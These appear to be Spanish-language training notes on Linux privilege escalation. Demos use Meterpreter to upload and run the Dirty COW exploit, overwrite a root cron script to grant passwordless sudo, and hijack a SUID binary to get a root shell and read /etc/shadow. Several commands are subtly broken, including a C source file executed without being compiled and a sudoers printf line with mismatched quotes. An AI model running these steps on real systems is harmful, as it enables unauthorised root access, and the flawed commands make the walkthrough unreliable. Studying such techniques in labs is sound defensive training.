Linux Privilege Escalation
Linux Kernel Exploits
Los exploits del kernel en Linux normalmente apuntan a vulnerabilidades en el kernel de Linux para ejecutar código arbitrario con el fin de ejecutar comandos privilegiados del sistema u obtener un shell del sistema.
Este proceso diferirá según la versión y distribución del kernel objetivo y el exploit del kernel que se utilice.
La escalada de privilegios en sistemas Linux normalmente seguirá la siguiente metodología:
Identificar vulnerabilidades del kernel
Descargar, compilar y transferir exploits del kernel al sistema de destino.
Tools & Environment
Linux-Exploit-Suggester: Esta herramienta está diseñada para ayudar a detectar deficiencias de seguridad para una determinada máquina basada en Linux/kernel de Linux. Evalúa (utilizando métodos heurísticos) la exposición del kernel dado en cada kernel de Linux conocido públicamente. explotar.
GitHub: https://github.com/mzet-/linux-exploit-sugester
Nota: Las técnicas demostradas en los siguientes passos son realizados en un Ubuntu 12.04
VM
Si ejecuta vulnerabilidades de Kernel que no son compatibles con la version especifica o la version especifica de kernel ejecutandose en el Target, entonces puede causar bloqueos o Kernel Panic, lo que puede conducir a perdida de datos
Tenga mucho cuidado con los tipos de Vulnerabilidades del Kernel
Demo: Linux Kernel Exploits
# Una vez ya dentro del sistema objetivo, podemos realizar las siguientes
meterpreter> sysinfo
# En la seccion de "OS" nos indicara la version de Linux y la version de Kernel.
# Recopilar la informacion de los privilegios con los que cuenta el usuario
meterpreter> getuid
# El usuario no tendra ningun privilegio como el usuario comun "www-data"
# Descarge el script "https://github.com/mzet-/linux-exploit-sugester" y transferir
# al objetivo
meterpreter> upload ~/Desktop/Linux-Enum/Les.sh
# Ingresamos por shell
meterpreter> shell
# Cambiamos a un formato de bin/bash
/bin/bash -i
www-data@ubuntu$ cd /tmp
www-data@ubuntu$ ls
www-data@ubuntu$ chmod +x les.sh
www-data@ubuntu$ ls -alps
www-data@ubuntu$ ./les.sh
# Despues de ejecutar el escript va enumerar una lista de vulnerabilidades que
# esencialmente o mas bien una lista de exploit que esta la version en particular
# de Linux se puede explotar
# El Script tambien trae consigo la informacion mas importante del servidor como:
# La version del Kernel, Arquitectura, Distribucion y version de la Distribucion
# Cada Vulnerabilidad tiene su respectivo CVE
# Los exploits en la parte superior son las que tiene mayor probabilidad de exito
#
# Se debe de entender muy bien la estructura del Codigo del exploit y tambien los
# requerimientos para ejecutar
# Existe exploit que se pueden copilar desde la maquina del atacante o desde la
# maquina del objetivo
# Para este ejemplo se utilizara el exploit 40839, el exploit necesita copilarse en
# el equipo del objetivo
meterpreter> upload /home/kali/Downloads/dirty.c
meterpreter> shell
/bin/bash -i
www-data@ubuntu$ cd /tmp
www-data@ubuntu$ chmod +x dirty.c
www-data@ubuntu$ ./dirty.c Password.123
# Se creara un usuario "Firefart" con la contraseña "Password.123"
# El usuario tendra los privilegios de ROOT
Quiz


Exploiting Misconfigured Cron Jobs
Cron Jobs
Linux implementa la programación de tareas a través de una utilidad llamada Cron.
Cron es un servicio basado en el tiempo que ejecuta aplicaciones, scripts y otros comandos repetidamente según un cronograma específico o en un horario especifico.
Una aplicación o script que se ha configurado para ejecutarse repetidamente con Cron se conoce como Cron Job. Cron se puede utilizar para automatizar o repetir una amplia variedad de funciones en un sistema, desde copias de seguridad diarias hasta actualizaciones y parches del sistema.
El archivo crontab es un archivo de configuración que utiliza la utilidad Cron para almacenar y realizar un seguimiento (track) de los Cron Jobs que se han creado.
Exploiting Misconfigured Cron Jobs
Los Cron Jobs también se pueden ejecutar como cualquier usuario del sistema; este es un factor muy importante a tener en cuenta, ya que nos centraremos en los Cron Jobs que se han configurado para ejecutarse como usuario "root".
Esto se debe principalmente a que cualquier script o comando que se ejecute mediante un Cron Job se ejecutará como usuario root y, en consecuencia, nos proporcionará acceso de root.
Para elevar nuestros privilegios, necesitaremos encontrar e identificar Cron Jobs programados por el usuario root o los archivos que procesa el trabajo cron.
Demo: Exploiting Misconfigured Cron Jobs
whomai
# Ver de que los grupos de los cuales forma parte el usuario
groups <User>
# Identificar el usuario privelegiado root
cat /etc/passwd
# Verificcar los cron job que se programado con el usuario auhtenticado <User>
crontab -l
# Verificcar los cron job que se programaron con el usuario root, lo cual requiere
# mucha enumeracion
# Identificar un archivo (message) que el propietario sea de la cuenta root
ls -la
# Si intentamos abrir el archivo encontrado que es del usuario root.
# nos dira Permission Denied por que es de propiedad del usuario root
# Buscar e identificar la ruta del script, que ejecuta con cronjob
# El comando busca recursivamente en todos los archivos bajo el directorio /usr
# la cadena /home/student/message, mostrando la ubicación de las coincidencias y el
# número de línea donde se encuentran.
grep -rnw /usr -e "/home/student/message"
# Identificar si el archivo es:
# 1. Propiedad de la cuenta root
# 2. Identificar que que tenga permisos de lectura/escritura/ejecucion
# para el grupo
ls -al /usr/local/share/copy.sh
cat /usr/local/share/copy.sh
# Vamos a buscar la manera de modificar el archivos
printf '#!/bin/bash\necho "student" ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
cat /usr/local/share/copy.sh
# Verificar que el usuario puede ejecutar todos los comandos sin ninguna contraseña
sudo -l
sudo su
whoami
cd /root
ls
crontab -l
Quiz

Exploitting SUID Binaries
Además de los tres permisos principales de acceso a archivos (lectura, escritura y ejecución), Linux también proporciona a los usuarios permisos especializados que pueden utilizarse en situaciones específicas. Uno de estos permisos de acceso es el permiso SUID (Set Owner User ID - Establecer ID de usuario del propietario).
Cuando se aplica, este permiso brinda a los usuarios la capacidad de ejecutar un script o binario con los permisos del propietario del archivo en lugar del usuario que ejecuta el script o binario.
Los permisos SUID se utilizan normalmente para proporcionar a los usuarios sin privilegios la capacidad de ejecutar scripts o archivos binarios específicos con permisos "root". Cabe señalar, sin embargo, que la provisión de privilegios elevados se limita a la ejecución del script y no se traduce en elevación de privilegios; sin embargo, si los usuarios sin privilegios están configurados incorrectamente pueden aprovechar configuraciones incorrectas o vulnerabilidades dentro del binario o script para obtener una sesión elevada.
Esta es la funcionalidad que intentaremos explotar para elevar nuestros privilegios, sin embargo, el éxito de nuestro ataque dependerá de los siguientes factores:
Owner of the SUID binary: Dado que estamos intentando elevar nuestros privilegios, solo explotaremos los binarios SUID que sean propiedad del usuario "root" u otros usuarios privilegiados.
Access permissions: Necesitaremos permisos de ejecución para poder ejecutar el binario SUID.
El objetivo es identificar una vulnerabilidad dentro de ese binario que esencialmente podemos aprovechar y tener.
Demo: Exploiting SUID Binaries
whomai
# Ver de que los grupos de los cuales forma parte el usuario
groups <User>
# Identificar el usuario privelegiado root
cat /etc/passwd
# Identificar un archivo que tenga los privilegios de S es el permiso de SUID
# y que el propietario sea de la cuenta root
ls -la
# El comando examinará el contenido del archivo llamado
# y tratará de identificar su tipo basándose en ciertas
# características distintivas del contenido del archivo
file <NombreArchivo>
# Analisis statico / Buscar y entender
# En este ejemplo el script Welcome ejecuta el archivo greetings
strings welcome
rm greetings
# Elevacion de Privilegios
cp /bin/bash greetings
./welcome
whoami
cat /etc/shadow
Explorar las diversas tecnicas de explotacion para SUID
Quiz

Last updated